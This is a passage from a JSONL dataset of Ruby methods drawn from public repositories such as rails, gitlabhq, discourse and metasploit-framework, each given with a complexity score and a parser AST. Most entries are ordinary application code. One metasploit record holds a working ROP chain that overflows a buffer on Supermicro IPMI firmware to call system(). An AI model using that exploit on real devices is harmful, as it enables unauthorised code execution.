\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"oldPassword\"]},{\"type\":\"lvar\",\"children\":[\"old_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"new_password\"]}]}]},\"to_json\"]}]}]}]}]}","id":"828c1ec2-de23-4804-9383-d6fa5ec0e936"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":382,"raw_source":"def test_xml\n @request.accept = \"application/xml\"\n get :html_xml_or_rss\n assert_equal \"XML\", @response.body\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_xml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"accept=\",{\"type\":\"str\",\"children\":[\"application/xml\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"html_xml_or_rss\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"XML\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"1c29c62a-a67d-4f3a-9f03-822c6019adb3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/user_group_notification_settings_finder.rb","start_line":4,"raw_source":"def initialize(user, groups)\n @user = user\n @groups = groups\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@groups\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]}","id":"3d1052a4-9231-4f80-b6c9-eda8940d9530"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/fog_helpers.rb","start_line":25,"raw_source":"def storage_location_identifier\n raise NotImplementedError, \"#{self} does not implement #{__method__}\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_location_identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" does not implement \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]}]}","id":"08574295-7663-4785-901d-020e7d5dce84"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":215,"raw_source":"def self.connected_to_stack # :nodoc:\n if connected_to_stack = ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack]\n connected_to_stack\n else\n connected_to_stack = Concurrent::Array.new\n ActiveSupport::IsolatedExecutionState[:active_record_connected_to_stack] = connected_to_stack\n connected_to_stack\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connected_to_stack\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connected_to_stack\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active_record_connected_to_stack\"]}]}]},{\"type\":\"lvar\",\"children\":[\"connected_to_stack\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connected_to_stack\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Array\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"IsolatedExecutionState\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"active_record_connected_to_stack\"]},{\"type\":\"lvar\",\"children\":[\"connected_to_stack\"]}]},{\"type\":\"lvar\",\"children\":[\"connected_to_stack\"]}]}]}]}","id":"b2054974-daed-4627-9483-43055f06d4bd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/usage/metric_definition_spec.rb","start_line":33,"raw_source":"def expect_validation_errors\n expect(described_class.new(path, attributes).validation_errors).not_to be_empty\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_validation_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"send\",\"children\":[null,\"attributes\"]}]},\"validation_errors\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_empty\"]}]}]}","id":"098e9868-2f51-43ab-ace9-9ba2cbd2eece"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/base_activity_provider.rb","start_line":241,"raw_source":"def restrict_projects_by_permission(query, user)\n perm = activity_provider_options[:permission]\n\n query.where(projects_table[:id].in(Project.allowed_to(user, perm).select(:id).arel))\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"restrict_projects_by_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"perm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_provider_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permission\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"perm\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]}]}]}","id":"0afb3e7e-c2d6-413e-870d-425883e0c4ec"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/topic_status_updater.rb","start_line":154,"raw_source":"def options_for(status, opts = {})\n {\n bump: status.opening_topic?,\n post_type: Post.types[:small_action],\n silent: opts[:silent],\n action_code: status.action_code,\n }\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"options_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bump\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"opening_topic?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"small_action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"silent\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"action_code\"]}]}]}]}","id":"4b3ae0bb-0cd0-498d-8e96-be0d28938c6b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":121,"raw_source":"def using_non_conflicting_nested_js_then_js\n respond_to do |outer_type|\n outer_type.js do\n respond_to do |inner_type|\n inner_type.js { render body: \"JS\" }\n end\n end\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"using_non_conflicting_nested_js_then_js\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"outer_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"outer_type\"]},\"js\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inner_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_type\"]},\"js\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"JS\"]}]}]}]}]}]}]}]}]}","id":"4c3f865a-ca23-4404-8170-4174ba00f51c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/metadata/stats.rb","start_line":27,"raw_source":"def map_types_to_metadata!\n @module_metadata_by_type = Hash.new { |h, k| h[k] = [] }\n\n @metadata.each do |module_metadata|\n @module_metadata_by_type[module_metadata.type] << module_metadata\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"map_types_to_metadata!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@module_metadata_by_type\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module_metadata_by_type\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_metadata\"]},\"type\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"module_metadata\"]}]}]}]}]}","id":"1d646a9b-2cd0-4032-9901-17d62753694b"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/railtie.rb","start_line":215,"raw_source":"def respond_to_missing?(name, _)\n return super if abstract_railtie?\n\n instance.respond_to?(name) || super\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"abstract_railtie?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"b01eaf5c-8af1-477b-9e0f-5ab46eb9e871"} {"repo_name":"fastlane","file_path":"./repos/fastlane/scan/lib/scan/runner.rb","start_line":327,"raw_source":"def open_report\n if !Helper.ci? && Scan.cache[:open_html_report_path]\n `open --hide '#{Scan.cache[:open_html_report_path]}'`\n end\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"ci?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"open_html_report_path\"]}]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"open --hide '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"open_html_report_path\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},null]}]}","id":"eb2fb20e-e693-4c3b-a6c3-163b2da3c610"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_repository.rb","start_line":297,"raw_source":"def self.find_or_create_from_path!(path)\n ContainerRepository.upsert({\n project_id: path.repository_project.id,\n name: path.repository_name\n }, unique_by: %i[project_id name])\n\n find_by_path!(path)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_or_create_from_path!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRepository\"]},\"upsert\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"repository_project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"repository_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find_by_path!\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"ba33a596-8e04-42f6-bac3-8bd3c54a7399"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contacts/notes_controller.rb","start_line":4,"raw_source":"def index\n @notes = @contact.notes.latest.includes(:user)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@notes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"notes\"]},\"latest\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}","id":"52db24fa-66d2-4a07-858e-7dc7d2c9441a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":170,"raw_source":"def find_or_initialize_non_project_specific_integration(name, instance: false, group_id: nil)\n return unless name.in?(available_integration_names(\n include_project_specific: false,\n include_group_specific: group_id.present?,\n include_instance_specific: instance))\n\n integration_name_to_model(name).find_or_initialize_by(instance: instance, group_id: group_id)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_non_project_specific_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"instance\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"in?\",{\"type\":\"send\",\"children\":[null,\"available_integration_names\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_project_specific\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_group_specific\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"present?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_instance_specific\"]},{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration_name_to_model\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance\"]},{\"type\":\"lvar\",\"children\":[\"instance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]}]}]}","id":"ba5e2b9e-51f2-48e7-83d1-d2ff14e3ec06"} {"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/work_packages/reminder/modal_body_component_preview.rb","start_line":35,"raw_source":"def new\n remindable = FactoryBot.build_stubbed(:work_package)\n reminder = FactoryBot.build(:reminder, remindable:)\n errors = []\n\n render_with_template(locals: { remindable:, reminder:, errors: })\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remindable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"work_package\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reminder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build\",{\"type\":\"sym\",\"children\":[\"reminder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remindable\"]},{\"type\":\"lvar\",\"children\":[\"remindable\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render_with_template\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remindable\"]},{\"type\":\"lvar\",\"children\":[\"remindable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder\"]},{\"type\":\"lvar\",\"children\":[\"reminder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]}]}]}]}","id":"350ea7fe-4387-473a-b4d4-0d7d4fc34ff8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb","start_line":97,"raw_source":"def target_smt_x9_214\n base_crypt = 0x40074000 # libcrypto.so.0.9.8\n base_libc = 0x40554000 # libc-2.3.5.so\n\n buf = rand_text_alpha(68)\n buf << rand_text_alpha(4) # r10\n buf << rand_text_alpha(4) # r11\n buf << rand_text_alpha(4) # sp\n buf << [base_crypt + 0x39598].pack(\"V\") # pc # mov pc, r4\n # 2nd stage\n buf << \"\\x68\\xd0\\x84\\xe2\" # add sp, r4, 104 # make sp point to controlled data in order to accomplish the \"ret2system\"\n offset = ssl ? 208 : 204 # when ssl there is an additional environment variable \"HTTPS=on\"\n buf << [offset].pack(\"C\") + \"\\x50\\x84\\xe2\" # add r5, r4, 204 # make r5 point to pointer to envp\n buf << \"\\x70\\x40\\xb5\\xe8\" # ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer\n buf << \"\\x20\\x40\\x84\\xe2\" # add r4, r4, 32 # to skip the \"HTTP_USER_AGENT=\" substring and avoid bachars on emulated environment\n buf << \"\\x40\\x80\\xbd\\xe8\" # ldmfd sp!, {r6, pc}\n buf << rand_text_alpha(4) # R6\n buf << [ base_crypt + 0x3A8BC ].pack(\"V\") # mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command\n buf << rand_text_alpha(4) # r4\n buf << [ base_libc + 0x3617c ].pack(\"V\") # system at libc\n buf << rand_text_alpha(128 - buf.length) # padding to reach memory which allows to control r4 when overflow occurs\n # 1st stage: adjust r4 and pc\n buf << \"\\x80\\x40\\x44\\xe2\" # sub r4, r4,-128 # make r4 point to the start of the buffer\n buf << \"\\x54\\xf0\\x84\\xe2\" # add pc, r4, 84 # give control to 2nd stage\n\n return buf\n end","complexity_score":48.3,"ast_json":"{\"type\":\"def\",\"children\":[\"target_smt_x9_214\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}","id":"cf654d76-58f8-49d9-99e7-39e902fec1ee"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/github_search_code.rb","start_line":40,"raw_source":"def description_args\n { repo: repo, query: query }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo\"]},{\"type\":\"send\",\"children\":[null,\"repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[null,\"query\"]}]}]}]}","id":"ed95caf0-c8ec-46bc-936a-c25e340b54b7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/core/post/windows/version_spec.rb","start_line":16,"raw_source":"def respond_to_reg_query(subject, key, value, result, type)\n command = \"cmd.exe /c reg query \\\"#{key}\\\" /v \\\"#{value}\\\"\"\n output = \"\\r\\n#{key}\\r\\n #{value} #{type} #{result}\\r\\n\"\n allow(subject).to receive(:cmd_exec).with(command) { output }\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_reg_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c reg query \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"\\\" /v \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"subject\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"cmd_exec\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}","id":"49b1742e-0377-40fa-939c-a27b8dbf4155"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas/server_info.rb","start_line":18,"raw_source":"def version_info\n return unless retrieved_server_info? && version.present?\n return Gitlab::VersionInfo.parse(\"#{version}+#{git_ref}\", parse_suffix: true) if valid_commit_ref?\n\n Gitlab::VersionInfo.parse(version)\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"version_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retrieved_server_info?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_commit_ref?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]}]},{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_ref\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse_suffix\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}]}","id":"5529a081-5c72-4807-87f4-a16b218a6d87"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/error.rb","start_line":14,"raw_source":"def self.full_message(attribute, message, base) # :nodoc:\n return message if attribute == :base\n\n base_class = base.class\n attribute = attribute.to_s\n\n if i18n_customize_full_message && base_class.respond_to?(:i18n_scope)\n attribute = attribute.remove(/\\[\\d+\\]/)\n parts = attribute.split(\".\")\n attribute_name = parts.pop\n namespace = parts.join(\"/\") unless parts.empty?\n attributes_scope = \"#{base_class.i18n_scope}.errors.models\"\n\n if namespace\n defaults = base_class.lookup_ancestors.map do |klass|\n [\n :\"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.attributes.#{attribute_name}.format\",\n :\"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.format\",\n ]\n end\n else\n defaults = base_class.lookup_ancestors.map do |klass|\n [\n :\"#{attributes_scope}.#{klass.model_name.i18n_key}.attributes.#{attribute_name}.format\",\n :\"#{attributes_scope}.#{klass.model_name.i18n_key}.format\",\n ]\n end\n end\n\n defaults.flatten!\n else\n defaults = []\n end\n\n defaults << :\"errors.format\"\n defaults << \"%{attribute} %{message}\"\n\n attr_name = attribute.remove(/\\.base\\z/).tr(\".\", \"_\").humanize\n attr_name = base_class.human_attribute_name(attribute, {\n default: attr_name,\n base: base,\n })\n\n I18n.t(defaults.shift,\n default: defaults,\n attribute: attr_name,\n message: message)\n 